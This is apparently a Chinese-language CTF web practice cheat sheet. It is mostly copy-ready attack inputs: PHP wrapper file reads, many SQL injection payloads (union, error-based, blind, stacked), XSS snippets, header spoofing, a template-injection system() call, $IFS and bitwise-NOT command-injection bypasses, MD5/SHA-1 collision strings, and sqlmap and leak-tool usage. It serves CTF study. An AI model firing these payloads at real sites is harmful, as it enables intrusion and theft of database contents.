Web刷题笔记

注:好些知识点和payload是刷题过程中在大佬wp上扒拉下来的,找不到出处了)
另:持续更新…

Web常用payload

一、伪协议

1
2
3
4
5
6
7
8
?file=php://filter/convert.base64-encode/resource=flag.php      #filter伪协议使用base64编码读取文件
?file=php://input #post,上传
?file=phar://压缩包名/内部文件名
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
?file=compress.bzip2://E:\phpinfo.xxx
?file=compress.zlib://E:\phpinfo.xxx
?file=data://text/plain,I have a dream #data伪协议上传
?file=http:/127.0.0.1/phpinfo.txt

二、SQL注入

常用:

1
2
3
4
5
6
7
8
9
10
11
12
?id=-1 or 1=1;#
order by 3;# #判断列数
-1 union select 1,2;# #判断回显位置
-1 union select 1,version();# #查看当前数据库版本
-1 union select 1,user();# #查看当前用户
-1 union select 1,database();# #查看当前数据库名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='xxxxx';# #爆表
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='xxxxx';#
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='xxxxx' and table_name='xxxxx';# #爆字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='xxxxx';#
-1 union select 1,group_concat(skctf_flag) from fl4g;# #爆字段内容
-1 union select 1,group_concat(schema_name) from information_schema.schemata;# #爆所有库

其他:

1
2
3
4
5
6
schema_name from information_schema.schemata;#	
schema_name from information_schema.schemata limit 1,1;#
group_concat(schema_name) from information_schema.schemata;#
if((substring(version(),1,1)='1'),1,0);# #逐字符爆版本/其他 (布尔盲注)
if((substring(version(),1,1)='1'),sleep(10),0);# #时间盲注
SELECT column_name(s) FROM database_name.table_name UNION SELECT column_name(s) FROM database_name.table_name; #跨库联合查询

过滤:

1
2
3
;#与--+等价
%23与#等价
空格:/**/,/*!*/,%20,%09,%0a,%0b,%0c,%0d,()

报错注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
extractValue():
1' union select 1,extractvalue(1,concat('~',(select database()))),3#
1' union select 1,extractvalue(1,concat('~',(select group_concat(flag) from test_tb))),3#
extractvalue(1,concat('~',(select substring(group_concat(flag),31,30) from test_tb))),3# //拼接后半段flag
substring(group_concat(flag),1,30) from db.table
mid(group_concat(flag),1,20) from db.table
updatexml()
1 and updatexml(1,concat(0x7e,database(),0x7e),1) #爆库
#爆表
1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
#爆字段
1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1)
1 and updatexml(1,concat(0x7e,(select group_concat(flag)from flag),0x7e),1) #爆字段内容
1 and updatexml(1,concat(0x7e,right((select group_concat(flag) from flag),15),0x7e),1) #爆字段内容后半段

堆叠注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1';show databases;#
1';show tables;#
1';show columns from tableName; #
1';desc tableName;#
如果tableName是纯数字,需要用`包裹,比如
1';desc `1919810931114514`;#
1'; show columns from`1919810931114514`;#
rename命令格式:rename table 原表名 to 新表名;
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);# #目前没复现成功
handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
打开表:HANDLER 表名 OPEN ;
查看数据: HANDLER 表名 READ next;
关闭表: HANDLER 表名 READ CLOSE;
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ next;HANDLER `1919810931114514` CLOSE;#
1;set sql_mode=PIPES_AS_CONCAT;select 1
关键词被禁用:1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

三、XSS

1
2
<script>alert(/xss/)</script>
<img src="/abc.png" onerror="alert(/xxs/)">

四、伪造来源

1
2
3
4
5
6
referer:https://xxxxxxxxx 
User-Agent:xxxxxx #伪造浏览器信息
X-Forwarded-For:127.0.0.1 #伪造ip地址
X-Real-Ip:127.0.0.1
Client-Ip: 127.0.0.1
Via: Clash.win #via报头

五、反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
construct() 类的构造函数,每次创建新对象时先调用此方法

__destruct() 类的析构函数,某个对象的所有引用都被删除或者销毁时调用

__call() 在对象中调用一个不可访问方法时调用

__callStatic() 用静态方式中调用一个不可访问方法时调用

__get() 获得一个类的成员变量时调用

__set() 设置一个类的成员变量时调用

__isset() 当对不可访问属性调用isset()或empty()时调用

__unset() 当对不可访问属性调用unset()时被调用。

__sleep() 执行serialize()时,先会调用这个函数

__wakeup() 执行unserialize()时,先会调用这个函数

__toString() 类被当成字符串时的回应方法

__invoke() 调用函数的方式调用一个对象时的回应方法

__set_state() 调用var_export()导出类时,此静态方法会被调用。

__clone() 当对象复制完成时调用

__autoload() 尝试加载未定义的类

__debugInfo() 打印所需调试信息

__serialize(),执行serialize()时,先会调用这个函数

__unserialize(),执行unserialize()时,先会调用这个函数

六、模板注入

1
2
smarty模板:
X-Forwarded-For:{{system('ls')}}

工具使用笔记

一、direarch使用

1
2
python dirsearch.py -u <url> -e php
python dirsearch.py -u [url] -e * -t 3 -s 0.2

二、githack用法

1
python GitHack.py http://www.openssl.org(目标网址)/.git/

三、SVN泄露

1
2
./rip-svn.pl -v -u http://www.xxxx.com/.svn/	#svn
./rip-hg.pl -v -u http://www.xxxx.com/.hg/ #hg

四、sqlmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
sqlmap -u www.xxx.com/?id=1 --dbs
--dbs -D --tables -T --columns -C --dump
python sqlmap.py -u "http://xxxxx.com" --data="uname=1&passwd=1" --level 3
# 获取目标方式
-u -- 指定目标url
-m -- 指定目标url文件
-l -- 把burpsuite日志直接倒出来给sqlmap检测
-r -- 从一个文本中获取http请求,https时配合--force-ssl参数使用
-g -- 测试注入google的搜索结果中的get参数
# http数据
--data -- 指定数据以POST方式提交
--cookie -- 指定cookie,在需要登录时需要指定,level参数2及以上才会尝试cookie参数注入
--param-del -- 指定字符分割测试参数
--user-agent -- 指定user-agent头,level参数3及以上才会尝试user-agent参数注入
--referer -- 指定referer头,可伪造,level参数3及以上才会尝试user-agent参数注入
--headers -- 增加额外的http头
# 探测
--level -- 从1-5,影响测试的注入点
# 风险等级
--risk -- 从1-5,影响测试语句
# 注入技术
--technique -- 指定注入技术,B布尔注入、T时间延迟注入、E报错注入、U联合查询注入、S堆叠注入
# 列数据
--dbs -- 列出所有数据库名
--current-db -- 列出当前数据库名
-D dvwa -tables -- 列出dvwa数据库的所有表
-D dvwa -T users –columns -- 列出dvwa数据库users表的所有列
-D dvwa -T users -C “user,password” –dump -- 列出dvwa数据库users表user、password列的所有内容
-b -- 返回数据库版本号
--current-user -- 返回用户名
--users -- 返回数据库管理用户
--passwords -- 列出并破解数据库用户的hash
--privileges -- 列出数据库管理员权限
--roles -- 列出数据库管理员角色

五、文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
常见的 MME 类型,例如:
#text 表明文件是普通文本
text/plain
text/html
#image 表明是某种图像或者动态图(gif)
image/jpeg
image/png
#audio 表明是某种音频文件
audio/mpeg
audio/ogg
audio/*
#video 表明是某种视频文件
video/mp4
#application 表明是某种二进制数据
application/*
application/json
application/javascript
application/ecmascript
application/octet-stream

绕过

一、MD5绕过

MD5后结果开头0e:

1
2
3
4
5
6
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
0e215962017

MD5后完全一致:

1
2
3
4
5
6
7
8
9
10
11
12
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef
0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef
%0E0eaU%9A%A7%87%D0%0B%C6%F7%0B%BD%FE4%04%CF%03e%9EpO%854%C0%0F%FBe%9CL%87%40%CC%94/%EB-%A1%15%A3%F4%15%5C%BB%86%07Is%86em%7D%1F4%A4%20Y%D7%8FZ%8D%D1%EF
%0E0eaU%9A%A7%87%D0%0B%C6%F7%0B%BD%FE4%04%CF%03e%9EtO%854%C0%0F%FBe%9CL%87%40%CC%94/%EB-%A1%15%A3%F4%15%DC%BB%86%07Is%86em%7D%1F4%A4%20Y%D7%8FZ%8D%D1%EF
1
2
ffifdyop 经过md5($password,true)过后恰好结果是'or'6 ]  !r,  b,即最后组成的sql语句是
$sql="select password from users where password=''or'<xxx>'"

二、sha1强碰撞

1
2
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

三、空格绕过

1
2
3
4
5
$IFS
${IFS}
$IFS$1 //1可以换成任意数字
<
<>

四、无字母rce

1
2
3
4
5
6
7
8
9
10
<?php
$a="system";
$a=urlencode(~$a);
$b="cat /flllllaaaaaaggggggg";
$b=urlencode(~$b);
echo $a."\n".$b
?>
?payload=(~%8C%86%8C%8B%9A%92)(~%93%8C); //system("ls")
%93%8C #ls
%93%8C%DF%D0 #"ls /"

五、cat被过滤

1
2
3
4
5
6
7
8
9
10
11
12
tac
more
less
head
tail
nl
od
vi
vim
sort
uniq
file -f